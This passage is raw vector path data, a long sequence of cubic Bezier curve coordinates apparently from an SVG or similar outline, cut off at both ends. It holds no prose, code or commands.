111507.00C89812.34 111496.33 89801.66 111485.67 89791.00 111475.00C89769.67 111475.00 89748.33 111475.00 89727.00 111475.00C89727.00 111496.33 89727.00 111517.67 89727.00 111539.00C89716.00 111528.33 89705.00 111517.67 89694.00 111507.00C89695.03 111518.72 89691.84 111531.40 89695.78 111542.50C89706.19 111563.00 89716.59 111583.50 89727.00 111604.00C89705.33 111593.00 89683.67 111582.00 89662.00 111571.00C89651.33 111582.00 89640.67 111593.00 89630.00 111604.00C89639.17 111604.00 89656.34 111604.00 89660.50 111604.00C89629.00 111604.00 89597.50 111604.00 89566.00 111604.00C89567.77 111615.35 89562.31 111629.69 89569.00 111639.00C89578.67 111648.67 89588.34 111658.33 89598.00 111668.00C89587.33 111689.33 89576.67 111710.67 89566.00 111732.00C89554.61 111733.76 89540.31 111728.33 89530.91 111735.00C89520.94 111744.67 89510.97 111754.33 89501.00 111764.00C89490.34 111753.33 89479.66 111742.67 89469.00 111732.00C89457.65 111733.77 89443.31 111728.31 89434.00 111735.00C89424.33 111744.67 89414.66 111754.33 89405.00 111764.00C89403.70 111774.36 89407.63 111789.96 89403.00 111797.00C89382.33 111797.00 89361.67 111797.00 89341.00 111797.00C89340.32 111806.51 89342.36 111822.57 89339.98 111827.98C89318.66 111806.65 89297.33 111785.33 89276.00 111764.00C89276.67 111754.48 89274.66 111738.50 89277.00 111733.00C89287.33 111743.33 89297.67 111753.67 89308.00 111764.00C89306.07 111753.41 89311.91 111738.01 89305.00 111730.50C89284.67 111720.33 89264.33 111710.17 89244.00 111700.00C89242.70 111710.03 89246.62 111725.29 89242.00 111732.00C89232.63 111733.30 89218.05 111729.38 89212.00 111734.00C89211.00 111743.82 89213.99 111756.48 89210.50 111764.52C89179.00 111775.34 89147.50 111786.17 89116.00 111797.00C89114.96 111808.70 89118.17 111821.38 89114.22 111832.46C89103.81 111852.64 89093.41 111872.82 89083.00 111893.00C89061.67 111893.00 89040.33 111893.00 89019.00 111893.00C89008.33 111914.33 88997.67 111935.67 88987.00 111957.00C88976.34 111946.33 88965.66 111935.67 88955.00 111925.00C88933.57 111935.84 88911.93 111946.29 88890.62 111957.38C88869.08 111978.92 88847.54 112000.46 88826.00 112022.00C88815.33 112011.00 88804.67 112000.00 88794.00 111989.00C88794.00 111967.67 88794.00 111946.33 88794.00 111925.00C88772.67 111935.67 88751.33 111946.33 88730.00 111957.00C88730.00 111935.67 88730.00 111914.33 88730.00 111893.00C88719.97 111894.30 88704.71 111890.38 88698.00 111895.00C88698.00 111905.00 88698.00 111915.00 88698.00 111925.00C88665.66 111903.67 88633.34 111882.33 88601.00 111861.00C88590.97 111859.70 88575.71 111863.62 88569.00 111859.00C88569.00 111838.33 88569.00 111817.67 88569.00 111797.00C88558.33 111818.33 88547.67 111839.67 88537.00 111861.00C88526.34 111850.33 88515.66 111839.67 88505.00 111829.00C88515.67 111850.33 88526.33 111871.67 88537.00 111893.00C88526.97 111894.30 88511.71 111890.38 88505.00 111895.00C88503.67 111904.36 88507.69 111919.06 88502.94 111925.00C88491.60 111927.08 88476.67 111920.48 88468.00 111929.00C88458.67 111938.33 88449.33 111947.67 88440.00 111957.00C88429.34 111946.33 88418.66 111935.67 88408.00 111925.00C88376.00 111946.33 88344.00 111967.67 88312.00 111989.00C88279.67 111978.33 88247.33 111967.67 88215.00 111957.00C88205.06 111957.69 88190.72 111955.64 88183.50 111958.02C88194.00 111979.34 88204.50 112000.67 88215.00 112022.00C88150.67 112022.00 88086.33 112022.00 88022.00 112022.00C88020.70 112011.64 88024.63 111996.04 88020.00 111989.00C87999.33 111989.00 87978.67 111989.00 87958.00 111989.00C87957.32 111999.26 87959.35 112013.98 87956.99 112021.48C87935.89 112010.49 87914.60 111999.86 87893.62 111988.62C87883.08 111978.08 87872.54 111967.54 87862.00 111957.00C87863.76 111968.39 87858.33 111982.69 87865.00 111992.09C87874.67 112002.06 87884.33 112012.03 87894.00 112022.00C87883.34 112032.67 87872.66 112043.33 87862.00 112054.00C87851.00 112032.33 87840.00 112010.67 87829.00 111989.00C87819.48 111989.69 87803.45 111987.62 87798.00 111990.03C87808.33 112000.69 87818.67 112011.34 87829.00 112022.00C87818.34 112032.67 87807.66 112043.33 87797.00 112054.00C87775.67 112043.33 87754.33 112032.67 87733.00 112022.00C87731.21 112010.33 87736.72 111995.63 87730.00 111986.00C87720.33 111976.33 87710.66 111966.67 87701.00 111957.00C87679.34 111967.67 87657.66 111978.33 87636.00 111989.00C87647.00 111978.33 87658.00 111967.67 87669.00 111957.00C87626.00 111957.00 87583.00 111957.00 87540.00 111957.00C87529.34 111946.33 87518.66 111935.67 87508.00 111925.00C87486.67 111925.00 87465.33 111925.00 87444.00 111925.00C87444.00 111946.33 87444.00 111967.67 87444.00 111989.00C87411.67 111989.00 87379.33 111989.00 87347.00 111989.00C87347.00 112010.67 87347.00 112032.33 87347.00 112054.00C87325.67 112064.67 87304.33 112075.33 87283.00 112086.00C87293.66 112096.67 87304.34 112107.33 87315.00 112118.00C87313.20 112128.91 87318.73 112143.74 87311.99 112152.01C87280.88 112172.82 87249.63 112193.42 87218.62 112214.38C87207.74 112225.25 87196.88 112236.13 87186.00 112247.00C87197.00 112268.33 87208.00 112289.67 87219.00 112311.00C87206.96 112309.98 87193.99 112313.12 87182.54 112309.27C87162.36 112299.18 87142.18 112289.09 87122.00 112279.00C87079.00 112289.67 87036.00 112300.33 86993.00 112311.00C86993.00 112343.00 86993.00 112375.00 86993.00 112407.00C86971.67 112418.00 86950.33 112429.00 86929.00 112440.00C86950.33 112450.67 86971.67 112461.33 86993.00 112472.00C87004.67 112473.80 87019.37 112468.28 87029.00 112475.00C87038.67 112484.67 87048.34 112494.33 87058.00 112504.00C87047.34 112514.67 87036.66 112525.33 87026.00 112536.00C87014.33 112537.80 86999.63 112532.28 86990.00 112539.00C86980.33 112548.67 86970.66 112558.33 86961.00 112568.00C86982.66 112578.67 87004.34 112589.33 87026.00 112600.00C87024.20 112611.38 87029.77 112625.81 87022.91 112635.09C87012.94 112645.06 87002.97 112655.03 86993.00 112665.00C86971.67 112665.00 86950.33 112665.00 86929.00 112665.00C86918.34 112675.67 86907.66 112686.33 86897.00 112697.00C86907.67 112718.33 86918.33 112739.67 86929.00 112761.00C86918.34 112771.67 86907.66 112782.33 86897.00 112793.00C86886.34 112782.33 86875.66 112771.67 86865.00 112761.00C86854.33 112782.33 86843.67 112803.67 86833.00 112825.00C86843.67 112836.00 86854.33 112847.00 86865.00 112858.00C86854.33 112879.33 86843.67 112900.67 86833.00 112922.00C86822.52 112923.00 86809.18 112920.00 86800.48 112923.50C86789.66 112955.00 86778.83 112986.50 86768.00 113018.00C86746.67 113028.67 86725.33 113039.33 86704.00 113050.00C86682.67 113039.33 86661.33 113028.67 86640.00 113018.00C86617.46 113028.86 86595.27 113040.50 86572.50 113050.86C86541.34 113061.57 86510.17 113072.29 86479.00 113083.00C86457.67 113115.00 86436.33 113147.00 86415.00 113179.00C86393.33 113179.00 86371.67 113179.00 86350.00 113179.00C86339.33 113200.33 86328.67 113221.67 86318.00 113243.00C86308.06 113243.69 86293.72 113241.64 86286.50 113244.02C86297.00 113265.34 86307.50 113286.67 86318.00 113308.00C86307.34 113318.67 86296.66 113329.33 86286.00 113340.00C86287.77 113351.35 86282.31 113365.69 86289.00 113375.00C86298.67 113384.67 86308.34 113394.33 86318.00 113404.00C86339.66 113393.33 86361.34 113382.67 86383.00 113372.00C86381.59 113383.46 86385.88 113396.82 86380.73 113407.02C86349.15 113449.02 86317.57 113491.01 86286.00 113533.00C86275.33 113565.00 86264.67 113597.00 86254.00 113629.00C86232.67 113650.67 86211.33 113672.33 86190.00 113694.00C86168.33 113694.00 86146.67 113694.00 86125.00 113694.00C86114.33 113715.33 86103.67 113736.67 86093.00 113758.00C86091.70 113768.03 86095.62 113783.29 86091.00 113790.00C86070.33 113790.00 86049.67 113790.00 86029.00 113790.00C86018.33 113854.33 86007.67 113918.67 85997.00 113983.00C85985.61 113981.24 85971.31 113986.67 85961.91 113980.00C85951.94 113970.33 85941.97 113960.67 85932.00 113951.00C85921.34 113961.67 85910.66 113972.33 85900.00 113983.00C85878.67 113983.00 85857.33 113983.00 85836.00 113983.00C85825.33 114004.33 85814.67 114025.67 85804.00 114047.00C85782.34 114057.67 85760.66 114068.33 85739.00 114079.00C85739.00 114111.33 85739.00 114143.67 85739.00 114176.00C85707.00 114176.00 85675.00 114176.00 85643.00 114176.00C85642.32 114185.95 85644.35 114200.27 85641.99 114207.50C85599.33 114186.34 85556.66 114165.16 85514.00 114144.00C85492.66 114165.33 85471.34 114186.67 85450.00 114208.00C85418.00 114208.00 85386.00 114208.00 85354.00 114208.00C85321.67 114218.67 85289.33 114229.33 85257.00 114240.00C85214.33 114240.00 85171.67 114240.00 85129.00 114240.00C85128.31 114249.52 85130.38 114265.55 85127.97 114271.00C85117.31 114260.67 85106.65 114250.33 85096.00 114240.00C85074.66 114261.33 85053.34 114282.67 85032.00 114304.00C85021.34 114293.33 85010.66 114282.67 85000.00 114272.00C85010.67 114293.67 85021.33 114315.33 85032.00 114337.00C85053.33 114337.00 85074.67 114337.00 85096.00 114337.00C85095.00 114347.17 85098.00 114361.33 85094.50 114369.00C85063.00 114369.00 85031.50 114369.00 85000.00 114369.00C84978.67 114379.67 84957.33 114390.33 84936.00 114401.00C84903.67 114390.33 84871.33 114379.67 84839.00 114369.00C84839.00 114390.33 84839.00 114411.67 84839.00 114433.00C84828.34 114422.33 84817.66 114411.67 84807.00 114401.00C84817.66 114390.33 84828.34 114379.67 84839.00 114369.00C84827.65 114370.77 84813.31 114365.31 84804.00 114372.00C84794.33 114381.67 84784.66 114391.33 84775.00 114401.00C84764.34 114390.33 84753.66 114379.67 84743.00 114369.00C84731.74 114379.78 84721.33 114391.65 84709.51 114401.74C84688.34 114412.15 84667.17 114422.58 84646.00 114433.00C84644.70 114443.03 84648.62 114458.29 84644.00 114465.00C84623.33 114465.00 84602.67 114465.00 84582.00 114465.00C84581.33 114474.52 84583.34 114490.50 84581.00 114496.00C84570.67 114485.67 84560.33 114475.33 84550.00 114465.00C84539.34 114475.67 84528.66 114486.33 84518.00 114497.00C84496.08 114475.92 84474.40 114454.60 84453.00 114433.00C84442.10 114434.81 84427.23 114429.25 84419.00 114436.03C84398.33 114467.35 84377.67 114498.68 84357.00 114530.00C84335.67 114519.00 84314.33 114508.00 84293.00 114497.00C84291.16 114508.66 84296.82 114523.49 84289.91 114533.00C84279.94 114542.67 84269.97 114552.33 84260.00 114562.00C84259.32 114571.95 84261.34 114586.25 84259.00 114593.50C84238.00 114583.00 84217.00 114572.50 84196.00 114562.00C84174.67 114594.00 84153.33 114626.00 84132.00 114658.00C84110.67 114658.00 84089.33 114658.00 84068.00 114658.00C84078.67 114690.33 84089.33 114722.67 84100.00 114755.00C84089.33 114776.33 84078.67 114797.67 84068.00 114819.00C84046.34 114808.33 84024.66 114797.67 84003.00 114787.00C83981.66 114754.67 83960.34 114722.33 83939.00 114690.00C83939.00 114658.00 83939.00 114626.00 83939.00 114594.00C83885.33 114604.67 83831.67 114615.33 83778.00 114626.00C83735.00 114604.67 83692.00 114583.33 83649.00 114562.00C83660.00 114540.33 83671.00 114518.67 83682.00 114497.00C83649.56 114475.51 83616.96 114454.26 83584.62 114432.62C83574.08 114422.08 83563.54 114411.54 83553.00 114401.00C83531.67 114401.00 83510.33 114401.00 83489.00 114401.00C83478.33 114368.67 83467.67 114336.33 83457.00 114304.00C83414.00 114315.00 83371.00 114326.00 83328.00 114337.00C83327.14 114324.40 83329.87 114311.22 83326.34 114299.01C83316.23 114268.68 83306.11 114238.34 83296.00 114208.00C83307.35 114206.23 83321.69 114211.69 83331.00 114205.00C83340.67 114195.33 83350.34 114185.67 83360.00 114176.00C83338.67 114165.33 83317.33 114154.67 83296.00 114144.00C83285.33 114122.33 83274.67 114100.67 83264.00 114079.00C83273.52 114078.32 83289.54 114080.36 83295.00 114077.98C83284.52 114067.09 83273.05 114056.97 83263.26 114045.52C83252.67 114024.57 83242.47 114003.43 83231.62 113982.62C83210.07 113961.42 83188.54 113940.21 83167.00 113919.00C83156.97 113920.30 83141.71 113916.38 83135.00 113921.00C83134.00 113930.81 83136.99 113943.49 83133.50 113951.50C83102.00 113962.00 83070.50 113972.50 83039.00 113983.00C83037.66 113972.98 83041.70 113957.60 83036.94 113951.00C83027.26 113949.70 83012.35 113953.62 83006.00 113949.00C83004.09 113939.04 83009.88 113924.38 83003.00 113917.45C82982.67 113906.97 82962.33 113896.48 82942.00 113886.00C82952.66 113875.33 82963.34 113864.67 82974.00 113854.00C82974.00 113822.00 82974.00 113790.00 82974.00 113758.00C82995.40 113736.40 83017.08 113715.08 83039.00 113694.00C83028.65 113692.66 83012.92 113696.70 83006.00 113691.94C83003.92 113680.60 83010.52 113665.67 83002.00 113657.00C82992.67 113647.67 82983.33 113638.33 82974.00 113629.00C82974.00 113597.00 82974.00 113565.00 82974.00 113533.00C82963.97 113531.68 82948.65 113535.66 82942.00 113530.97C82942.00 113509.98 82942.00 113488.99 82942.00 113468.00C82931.66 113466.70 82917.23 113470.62 82909.50 113465.99C82899.03 113423.81 82888.25 113381.70 82878.00 113339.46C82878.00 113296.64 82878.00 113253.82 82878.00 113211.00C82856.34 113200.33 82834.66 113189.67 82813.00 113179.00C82813.00 113136.00 82813.00 113093.00 82813.00 113050.00C82791.66 113028.67 82770.34 113007.33 82749.00 112986.00C82727.67 112996.67 82706.33 113007.33 82685.00 113018.00C82663.67 113061.00 82642.33 113104.00 82621.00 113147.00C82417.33 112964.67 82213.67 112782.33 82010.00 112600.00C81860.00 112696.67 81710.00 112793.33 81560.00 112890.00C81527.67 112900.67 81495.33 112911.33 81463.00 112922.00C81463.00 112900.67 81463.00 112879.33 81463.00 112858.00C81452.34 112868.67 81441.66 112879.33 81431.00 112890.00C81420.34 112879.33 81409.66 112868.67 81399.00 112858.00C81387.62 112856.20 81373.19 112861.77 81363.91 112854.91C81353.94 112844.94 81343.97 112834.97 81334.00 112825.00C81322.29 112823.99 81309.66 112827.11 81298.54 112823.27C81278.36 112813.18 81258.18 112803.09 81238.00 112793.00C81238.00 112750.33 81238.00 112707.67 81238.00 112665.00C81216.67 112643.33 81195.33 112621.67 81174.00 112600.00C81152.33 112600.00 81130.67 112600.00 81109.00 112600.00C81087.67 112621.67 81066.33 112643.33 81045.00 112665.00C80991.33 112643.33 80937.67 112621.67 80884.00 112600.00C80884.00 112546.67 80884.00 112493.33 80884.00 112440.00C80873.33 112429.00 80862.67 112418.00 80852.00 112407.00C80830.67 112418.00 80809.33 112429.00 80788.00 112440.00C80766.92 112418.08 80745.60 112396.41 80724.00 112375.00C80734.67 112343.00 80745.33 112311.00 80756.00 112279.00C80702.33 112289.67 80648.67 112300.33 80595.00 112311.00C80563.00 112300.33 80531.00 112289.67 80499.00 112279.00C80509.67 112257.33 80520.33 112235.67 80531.00 112214.00C80520.33 112192.67 80509.67 112171.33 80499.00 112150.00C80456.00 112150.00 80413.00 112150.00 80370.00 112150.00C80368.70 112139.97 80372.62 112124.71 80368.00 112118.00C80347.33 112118.00 80326.67 112118.00 80306.00 112118.00C80305.32 112127.94 80307.37 112142.28 80304.98 112149.50C80283.66 112139.00 80262.33 112128.50 80241.00 112118.00C80239.70 112107.97 80243.62 112092.71 80239.00 112086.00C80229.63 112084.71 80215.05 112088.62 80209.00 112084.00C80209.00 112063.33 80209.00 112042.67 80209.00 112022.00C80187.67 112011.00 80166.33 112000.00 80145.00 111989.00C80145.00 111946.33 80145.00 111903.67 80145.00 111861.00C80123.34 111871.67 80101.66 111882.33 80080.00 111893.00C80069.34 111882.33 80058.66 111871.67 80048.00 111861.00C80049.77 111849.65 80044.31 111835.31 80051.00 111826.00C80060.67 111816.33 80070.34 111806.67 80080.00 111797.00C80058.67 111786.00 80037.33 111775.00 80016.00 111764.00C80014.06 111753.40 80019.93 111738.00 80012.99 111730.48C79992.54 111720.18 79971.93 111710.19 79951.62 111699.62C79941.08 111689.08 79930.54 111678.54 79920.00 111668.00C79930.66 111657.33 79941.34 111646.67 79952.00 111636.00C79919.67 111614.33 79887.33 111592.67 79855.00 111571.00C79853.70 111560.97 79857.62 111545.71 79853.00 111539.00C79841.92 111536.52 79825.07 111544.84 79819.00 111533.00C79799.00 111503.00 79779.00 111473.00 79759.00 111443.00C79748.97 111441.70 79733.71 111445.62 79727.00 111441.00C79727.00 111420.33 79727.00 111399.67 79727.00 111379.00C79714.99 111377.43 79700.98 111382.42 79690.45 111375.95C79659.64 111355.30 79628.82 111334.65 79598.00 111314.00C79587.33 111228.33 79576.67 111142.67 79566.00 111057.00C79587.33 111025.00 79608.67 110993.00 79630.00 110961.00C79619.33 110950.00 79608.67 110939.00 79598.00 110928.00C79585.73 110928.88 79572.87 110926.10 79561.02 110929.71C79530.68 110940.14 79500.34 110950.57 79470.00 110961.00C79459.64 110959.69 79444.01 110963.65 79437.00 110958.98C79437.00 110916.66 79437.00 110874.33 79437.00 110832.00C79426.97 110830.69 79411.68 110834.64 79405.00 110829.98C79405.00 110787.66 79405.00 110745.33 79405.00 110703.00C79426.67 110681.67 79448.33 110660.33 79470.00 110639.00C79448.33 110639.00 79426.67 110639.00 79405.00 110639.00C79405.00 110617.67 79405.00 110596.33 79405.00 110575.00C79426.67 110575.00 79448.33 110575.00 79470.00 110575.00C79468.68 110564.97 79472.66 110549.65 79467.97 110543.00C79446.98 110543.00 79425.99 110543.00 79405.00 110543.00C79405.00 110510.67 79405.00 110478.33 79405.00 110446.00C79415.80 110434.75 79427.61 110424.30 79437.76 110412.53C79448.51 110391.69 79459.25 110370.84 79470.00 110350.00C79448.33 110350.00 79426.67 110350.00 79405.00 110350.00C79383.67 110328.33 79362.33 110306.67 79341.00 110285.00C79339.70 110274.97 79343.62 110259.71 79339.00 110253.00C79318.33 110253.00 79297.67 110253.00 79277.00 110253.00C79277.00 110231.67 79277.00 110210.33 79277.00 110189.00C79287.67 110167.67 79298.33 110146.33 79309.00 110125.00C79298.33 110114.00 79287.67 110103.00 79277.00 110092.00C79266.00 110103.00 79255.00 110114.00 79244.00 110125.00C79233.33 110114.00 79222.67 110103.00 79212.00 110092.00C79222.67 110070.67 79233.33 110049.33 79244.00 110028.00C79233.34 110017.33 79222.66 110006.67 79212.00 109996.00C79222.79 109984.74 79234.63 109974.31 79244.75 109962.51C79255.50 109941.34 79266.25 109920.17 79277.00 109899.00C79266.00 109899.00 79255.00 109899.00 79244.00 109899.00C79255.00 109856.33 79266.00 109813.67 79277.00 109771.00C79267.17 109770.33 79250.74 109772.34 79245.03 109770.00C79255.69 109759.67 79266.35 109749.33 79277.00 109739.00C79266.00 109728.33 79255.00 109717.67 79244.00 109707.00C79255.00 109696.00 79266.00 109685.00 79277.00 109674.00C79267.17 109673.33 79250.74 109675.34 79245.03 109673.00C79255.69 109662.67 79266.35 109652.33 79277.00 109642.00C79255.33 109610.00 79233.67 109578.00 79212.00 109546.00C79212.00 109492.33 79212.00 109438.67 79212.00 109385.00C79233.67 109385.00 79255.33 109385.00 79277.00 109385.00C79276.88 109363.50 79277.23 109341.99 79276.83 109320.49C79265.27 109287.40 79254.78 109253.89 79242.54 109221.07C79232.35 109200.72 79222.18 109180.36 79212.00 109160.00C79222.63 109116.81 79233.58 109073.70 79244.00 109030.46C79244.27 109008.46 79243.44 108986.40 79244.44 108964.44C79255.27 108900.77 79266.32 108837.15 79277.00 108773.46C79277.00 108752.31 79277.00 108731.15 79277.00 108710.00C79319.67 108613.33 79362.33 108516.67 79405.00 108420.00C79415.80 108408.75 79427.61 108398.30 79437.76 108386.53C79448.51 108365.69 79459.25 108344.84 79470.00 108324.00C79512.67 108302.67 79555.33 108281.33 79598.00 108260.00C79608.67 108227.67 79619.33 108195.33 79630.00 108163.00C79673.00 108141.67 79716.00 108120.33 79759.00 108099.00C79780.34 108077.67 79801.66 108056.33 79823.00 108035.00C79844.67 107992.00 79866.33 107949.00 79888.00 107906.00C79888.00 107884.67 79888.00 107863.33 79888.00 107842.00C79865.96 107808.62 79842.99 107775.80 79821.53 107742.06C79800.68 107700.37 79779.84 107658.69 79759.00 107617.00C79780.33 107563.33 79801.67 107509.67 79823.00 107456.00C79824.76 107444.61 79819.33 107430.31 79826.00 107420.91C79835.67 107410.94 79845.33 107400.97 79855.00 107391.00C79866.00 107402.00 79877.00 107413.00 79888.00 107424.00C79899.57 107412.59 79910.15 107400.09 79922.38 107389.42C79953.59 107368.61 79984.79 107347.81 80016.00 107327.00C80005.34 107316.33 79994.66 107305.67 79984.00 107295.00C79994.63 107241.15 80005.54 107187.35 80016.00 107133.46C80016.00 107101.64 80016.00 107069.82 80016.00 107038.00C79994.66 107005.67 79973.34 106973.33 79952.00 106941.00C79952.00 106898.33 79952.00 106855.67 79952.00 106813.00C79919.67 106823.67 79887.33 106834.33 79855.00 106845.00C79812.33 106845.00 79769.67 106845.00 79727.00 106845.00C79694.66 106823.67 79662.34 106802.33 79630.00 106781.00C79619.33 106845.33 79608.67 106909.67 79598.00 106974.00C79576.66 106995.33 79555.34 107016.67 79534.00 107038.00C79491.00 107059.33 79448.00 107080.67 79405.00 107102.00C78847.13 107069.99 78289.27 107037.90 77731.40 107005.94C76649.24 106962.96 75567.09 106919.92 74484.93 106876.98C73381.29 106855.65 72277.64 106834.33 71174.00 106813.00C71119.60 106181.61 71064.78 105550.25 71010.65 104918.83C70957.77 104263.89 70904.88 103608.94 70852.00 102954.00C70337.67 102354.00 69823.33 101754.00 69309.00 101154.00C69405.85 101143.35 69502.68 101132.55 69599.54 101122.00C70006.36 101122.00 70413.18 101122.00 70820.00 101122.00C70777.33 100339.33 70734.67 99556.67 70692.00 98774.00C70659.67 98785.00 70627.33 98796.00 70595.00 98807.00C70552.33 98785.33 70509.67 98763.67 70467.00 98742.00C70456.33 98688.67 70445.67 98635.33 70435.00 98582.00C70424.00 98560.33 70413.00 98538.67 70402.00 98517.00C70412.27 98516.32 70426.96 98518.34 70434.48 98516.00C70423.66 98495.00 70412.83 98474.00 70402.00 98453.00C70402.00 98431.67 70402.00 98410.33 70402.00 98389.00C70391.33 98378.00 70380.67 98367.00 70370.00 98356.00C70379.52 98355.33 70395.50 98357.34 70401.00 98355.00C70390.67 98344.67 70380.33 98334.33 70370.00 98324.00C70370.00 98302.67 70370.00 98281.33 70370.00 98260.00C70359.33 98249.33 70348.67 98238.67 70338.00 98228.00C70338.00 98206.33 70338.00 98184.67 70338.00 98163.00C70306.00 98152.33 70274.00 98141.67 70242.00 98131.00C70242.67 98121.48 70240.66 98105.50 70243.00 98100.00C70253.33 98110.33 70263.67 98120.67 70274.00 98131.00C70274.00 98109.67 70274.00 98088.33 70274.00 98067.00C70241.67 98045.67 70209.33 98024.33 70177.00 98003.00C70187.67 97992.33 70198.33 97981.67 70209.00 97971.00C70198.97 97969.68 70183.65 97973.66 70177.00 97968.97C70177.00 97947.98 70177.00 97926.99 70177.00 97906.00C70166.33 97895.33 70155.67 97884.67 70145.00 97874.00C70123.67 97874.00 70102.33 97874.00 70081.00 97874.00C70091.67 97863.33 70102.33 97852.67 70113.00 97842.00C70111.70 97831.97 70115.62 97816.71 70111.00 97810.00C70101.63 97808.71 70087.05 97812.62 70081.00 97808.00C70079.71 97798.63 70083.62 97784.05 70079.00 97778.00C70070.15 97777.33 70054.83 97779.34 70050.00 97777.00C70060.33 97766.67 70070.67 97756.33 70081.00 97746.00C70081.00 97703.00 70081.00 97660.00 70081.00 97617.00C70091.67 97627.67 70102.33 97638.33 70113.00 97649.00C70113.00 97606.00 70113.00 97563.00 70113.00 97520.00C70102.33 97531.00 70091.67 97542.00 70081.00 97553.00C70080.33 97543.17 70082.34 97526.74 70080.00 97521.03C70069.67 97531.69 70059.33 97542.34 70049.00 97553.00C70049.00 97531.33 70049.00 97509.67 70049.00 97488.00C70038.00 97498.67 70027.00 97509.33 70016.00 97520.00C70016.00 97498.67 70016.00 97477.33 70016.00 97456.00C70005.33 97466.67 69994.67 97477.33 69984.00 97488.00C69973.33 97477.33 69962.67 97466.67 69952.00 97456.00C69962.67 97445.33 69973.33 97434.67 69984.00 97424.00C69962.67 97413.33 69941.33 97402.67 69920.00 97392.00C69909.16 97370.23 69898.72 97348.26 69887.62 97326.62C69877.08 97316.08 69866.54 97305.54 69856.00 97295.00C69854.23 97283.65 69859.69 97269.31 69853.00 97260.00C69843.33 97250.33 69833.67 97240.67 69824.00 97231.00C69824.00 97209.67 69824.00 97188.33 69824.00 97167.00C69813.00 97156.33 69802.00 97145.67 69791.00 97135.00C69802.00 97124.00 69813.00 97113.00 69824.00 97102.00C69813.00 97080.67 69802.00 97059.33 69791.00 97038.00C69792.36 97027.42 69788.29 97013.47 69793.03 97005.00C69814.02 96994.67 69835.01 96984.33 69856.00 96974.00C69854.64 96963.42 69858.71 96949.47 69853.97 96941.00C69832.98 96930.67 69811.99 96920.33 69791.00 96910.00C69791.00 96888.33 69791.00 96866.67 69791.00 96845.00C69780.33 96834.33 69769.67 96823.67 69759.00 96813.00C69759.00 96770.00 69759.00 96727.00 69759.00 96684.00C69727.00 96684.00 69695.00 96684.00 69663.00 96684.00C69663.00 96652.00 69663.00 96620.00 69663.00 96588.00C69684.33 96566.67 69705.67 96545.33 69727.00 96524.00C69725.98 96511.96 69729.12 96498.99 69725.27 96487.54C69715.18 96467.36 69705.09 96447.18 69695.00 96427.00C69716.33 96416.33 69737.67 96405.67 69759.00 96395.00C69737.67 96373.67 69716.33 96352.33 69695.00 96331.00C69716.33 96320.33 69737.67 96309.67 69759.00 96299.00C69748.33 96288.00 69737.67 96277.00 69727.00 96266.00C69728.77 96254.65 69723.31 96240.31 69730.00 96231.00C69739.67 96221.33 69749.33 96211.67 69759.00 96202.00C69770.73 96200.99 69783.38 96204.12 69794.52 96200.25C69815.13 96190.03 69835.91 96180.13 69856.38 96169.62C69888.25 96137.75 69920.13 96105.87 69952.00 96074.00C69953.03 96061.96 69949.85 96048.97 69953.75 96037.53C69963.97 96017.23 69973.88 95996.78 69984.38 95976.62C70005.92 95955.41 70027.46 95934.21 70049.00 95913.00C70050.00 95901.27 70046.90 95888.64 70050.73 95877.49C70060.82 95857.00 70070.91 95836.50 70081.00 95816.00C70081.00 95794.67 70081.00 95773.33 70081.00 95752.00C70091.67 95741.33 70102.33 95730.67 70113.00 95720.00C70113.00 95728.74 70113.00 95747.91 70113.00 95750.00C70114.29 95740.63 70110.38 95726.05 70115.00 95720.00C70135.67 95720.00 70156.33 95720.00 70177.00 95720.00C70175.23 95708.65 70180.69 95694.31 70174.00 95685.00C70164.33 95675.33 70154.67 95665.67 70145.00 95656.00C70102.00 95656.00 70059.00 95656.00 70016.00 95656.00C69994.67 95623.67 69973.33 95591.33 69952.00 95559.00C69962.67 95569.67 69973.33 95580.33 69984.00 95591.00C69994.67 95569.67 70005.33 95548.33 70016.00 95527.00C70025.83 95526.33 70042.26 95528.34 70047.97 95526.00C70037.31 95515.67 70026.66 95505.33 70016.00 95495.00C70014.70 95484.97 70018.62 95469.71 70014.00 95463.00C69993.33 95463.00 69972.67 95463.00 69952.00 95463.00C69930.67 95452.00 69909.33 95441.00 69888.00 95430.00C69878.48 95430.69 69862.45 95428.62 69857.00 95431.03C69867.33 95441.69 69877.67 95452.34 69888.00 95463.00C69877.76 95462.15 69864.14 95464.69 69856.00 95461.74C69856.00 95408.49 69856.00 95355.25 69856.00 95302.00C69845.33 95280.67 69834.67 95259.33 69824.00 95238.00C69834.67 95227.00 69845.33 95216.00 69856.00 95205.00C69854.68 95194.97 69858.66 95179.65 69853.97 95173.00C69832.98 95173.00 69811.99 95173.00 69791.00 95173.00C69780.33 95183.67 69769.67 95194.33 69759.00 95205.00C69758.33 95214.83 69760.34 95231.26 69758.00 95236.97C69747.67 95226.31 69737.33 95215.66 69727.00 95205.00C69748.33 95183.67 69769.67 95162.33 69791.00 95141.00C69791.00 95119.67 69791.00 95098.33 69791.00 95077.00C69802.00 95066.33 69813.00 95055.67 69824.00 95045.00C69770.33 95045.00 69716.67 95045.00 69663.00 95045.00C69695.00 95012.67 69727.00 94980.33 69759.00 94948.00C69758.32 94938.05 69760.34 94923.75 69758.00 94916.50C69737.00 94927.00 69716.00 94937.50 69695.00 94948.00C69684.33 94937.33 69673.67 94926.67 69663.00 94916.00C69664.00 94905.83 69661.00 94891.67 69664.50 94884.00C69696.00 94884.00 69727.50 94884.00 69759.00 94884.00C69769.67 94873.33 69780.33 94862.67 69791.00 94852.00C69769.67 94841.33 69748.33 94830.67 69727.00 94820.00C69728.30 94809.64 69724.37 94794.04 69729.00 94787.00C69749.67 94787.00 69770.33 94787.00 69791.00 94787.00C69780.33 94776.33 69769.67 94765.67 69759.00 94755.00C69727.00 94755.00 69695.00 94755.00 69663.00 94755.00C69652.33 94744.33 69641.67 94733.67 69631.00 94723.00C69620.33 94733.67 69609.67 94744.33 69599.00 94755.00C69588.00 94744.33 69577.00 94733.67 69566.00 94723.00C69534.00 94723.00 69502.00 94723.00 69470.00 94723.00C69491.33 94701.67 69512.67 94680.33 69534.00 94659.00C69523.33 94648.33 69512.67 94637.67 69502.00 94627.00C69470.00 94627.00 69438.00 94627.00 69406.00 94627.00C69406.00 94648.33 69406.00 94669.67 69406.00 94691.00C69395.09 94689.66 69380.85 94693.68 69372.00 94689.00C69361.67 94668.33 69351.33 94647.67 69341.00 94627.00C69319.67 94627.00 69298.33 94627.00 69277.00 94627.00C69287.67 94605.33 69298.33 94583.67 69309.00 94562.00C69287.67 94562.00 69266.33 94562.00 69245.00 94562.00C69255.67 94551.33 69266.33 94540.67 69277.00 94530.00C69255.67 94530.00 69234.33 94530.00 69213.00 94530.00C69202.33 94519.33 69191.67 94508.67 69181.00 